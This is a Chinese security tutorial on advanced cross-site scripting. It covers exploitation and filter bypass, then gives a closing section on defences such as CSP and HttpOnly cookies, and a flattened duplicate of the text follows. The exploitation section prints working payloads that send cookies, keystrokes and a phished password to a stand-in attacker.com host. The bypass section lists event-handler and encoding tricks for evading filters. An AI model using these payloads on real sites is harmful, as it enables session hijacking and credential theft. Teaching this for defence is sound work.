跨站脚本攻击(XSS)的进阶利用与防御绕过技术详解
字数 1065 2025-11-05 23:47:39

跨站脚本攻击(XSS)的进阶利用与防御绕过技术详解

1. 知识点描述
XSS(跨站脚本攻击)的核心是将恶意脚本注入到可信的网页中,当用户访问该页面时,脚本会执行。基础XSS分为反射型、存储型和DOM型。本专题将深入讲解XSS的进阶利用技术(如窃取Cookie、键盘记录、钓鱼攻击)和常见的防御绕过方法(如编码混淆、事件处理器利用),帮助理解实际攻击场景中的复杂性和防御要点。

2. 进阶利用技术详解
步骤1:Cookie窃取

  • 攻击原理:通过XSS注入脚本,读取用户的document.cookie,并将数据发送到攻击者控制的服务器。
  • 示例代码:
    <script>
      var img = new Image();
      img.src = "http://attacker.com/steal?data=" + encodeURIComponent(document.cookie);
    </script>
    
  • 关键点:攻击者需提前搭建接收数据的服务(如HTTP服务器),并利用图片标签规避部分浏览器的同源策略限制。

步骤2:键盘记录与会话劫持

  • 实现方式:注入的脚本监听页面键盘事件,并将输入内容发送给攻击者。
  • 示例代码:
    document.onkeypress = function(e) {
      fetch('http://attacker.com/log?key=' + e.key);
    };
    
  • 扩展应用:结合窃取的Cookie,攻击者可模拟用户会话(需目标站点未启用HttpOnly Cookie)。

步骤3:DOM钓鱼攻击

  • 技术细节:通过XSS动态伪造登录弹窗,诱导用户输入凭证。
  • 示例:
    var fakeForm = '<div>系统升级,请重新登录:<input id="pwd" type="password"><button onclick="sendPwd()">提交</button></div>';
    document.body.innerHTML = fakeForm;
    function sendPwd() {
      let pwd = document.getElementById('pwd').value;
      location.href = 'http://attacker.com/phish?pwd=' + pwd;
    }
    

3. 防御绕过技术详解
步骤1:绕过HTML标签过滤

  • 场景:若防御代码过滤<script>标签,可尝试其他标签的事件属性。
  • 示例:
    <img src=x onerror="alert(1)">          <!-- 利用图片加载错误 -->
    <svg onload="alert(1)">                 <!-- SVG标签事件 -->
    
  • 进阶:使用Unicode编码或大小写混合(如<ScRiPt>)绕过简单正则表达式。

步骤2:绕过属性值过滤

  • 场景:若过滤"',可利用JavaScript语法特性。
  • 示例:
    <img src=x onerror=alert`1`>             <!-- 反引号模板字符串 -->
    <details open ontoggle=alert(1)>        <!-- 利用无需引号的事件触发 -->
    

步骤3:混淆编码绕过

  • 常见编码:
    • HTML实体编码:< 变为 &lt;(但若解码后仍被执行,可尝试双重编码)。
    • JS编码:alert(1) 转为 \u0061\u006c\u0065\u0072\u0074(1)
  • 绕过案例:
    <img src=x onerror="eval('\u0061\u006c\u0065\u0072\u0074(1)')">
    

4. 综合防御方案

  • 输入过滤:对用户输入进行严格的白名单验证(如仅允许特定HTML标签和属性)。
  • 输出编码:根据上下文选择编码方式(HTML实体编码、JavaScript编码、URL编码)。
  • 内容安全策略(CSP):通过HTTP头限制脚本来源,例如:
    Content-Security-Policy: default-src 'self'; script-src 'none'
    
  • 补充措施:为Cookie设置HttpOnly和SameSite属性,使用XSS过滤器(如X-XSS-Protection)。

5. 总结
XSS的进阶利用体现了从简单弹窗到持久化攻击的升级,而防御绕过技术则强调不能依赖单一过滤机制。实际防护需结合多层次策略(编码、CSP、安全开发规范),并通过自动化工具(如SAST/DAST)持续检测漏洞。

跨站脚本攻击(XSS)的进阶利用与防御绕过技术详解 1. 知识点描述 XSS(跨站脚本攻击)的核心是将恶意脚本注入到可信的网页中,当用户访问该页面时,脚本会执行。基础XSS分为反射型、存储型和DOM型。本专题将深入讲解XSS的进阶利用技术(如窃取Cookie、键盘记录、钓鱼攻击)和常见的防御绕过方法(如编码混淆、事件处理器利用),帮助理解实际攻击场景中的复杂性和防御要点。 2. 进阶利用技术详解 步骤1:Cookie窃取 攻击原理:通过XSS注入脚本,读取用户的 document.cookie ,并将数据发送到攻击者控制的服务器。 示例代码: 关键点:攻击者需提前搭建接收数据的服务(如HTTP服务器),并利用图片标签规避部分浏览器的同源策略限制。 步骤2:键盘记录与会话劫持 实现方式:注入的脚本监听页面键盘事件,并将输入内容发送给攻击者。 示例代码: 扩展应用:结合窃取的Cookie,攻击者可模拟用户会话(需目标站点未启用HttpOnly Cookie)。 步骤3:DOM钓鱼攻击 技术细节:通过XSS动态伪造登录弹窗,诱导用户输入凭证。 示例: 3. 防御绕过技术详解 步骤1:绕过HTML标签过滤 场景:若防御代码过滤 <script> 标签,可尝试其他标签的事件属性。 示例: 进阶:使用Unicode编码或大小写混合(如 <ScRiPt> )绕过简单正则表达式。 步骤2:绕过属性值过滤 场景:若过滤 " 或 ' ,可利用JavaScript语法特性。 示例: 步骤3:混淆编码绕过 常见编码: HTML实体编码: < 变为 &lt; (但若解码后仍被执行,可尝试双重编码)。 JS编码: alert(1) 转为 \u0061\u006c\u0065\u0072\u0074(1) 。 绕过案例: 4. 综合防御方案 输入过滤:对用户输入进行严格的白名单验证(如仅允许特定HTML标签和属性)。 输出编码:根据上下文选择编码方式(HTML实体编码、JavaScript编码、URL编码)。 内容安全策略(CSP):通过HTTP头限制脚本来源,例如: 补充措施:为Cookie设置HttpOnly和SameSite属性,使用XSS过滤器(如X-XSS-Protection)。 5. 总结 XSS的进阶利用体现了从简单弹窗到持久化攻击的升级,而防御绕过技术则强调不能依赖单一过滤机制。实际防护需结合多层次策略(编码、CSP、安全开发规范),并通过自动化工具(如SAST/DAST)持续检测漏洞。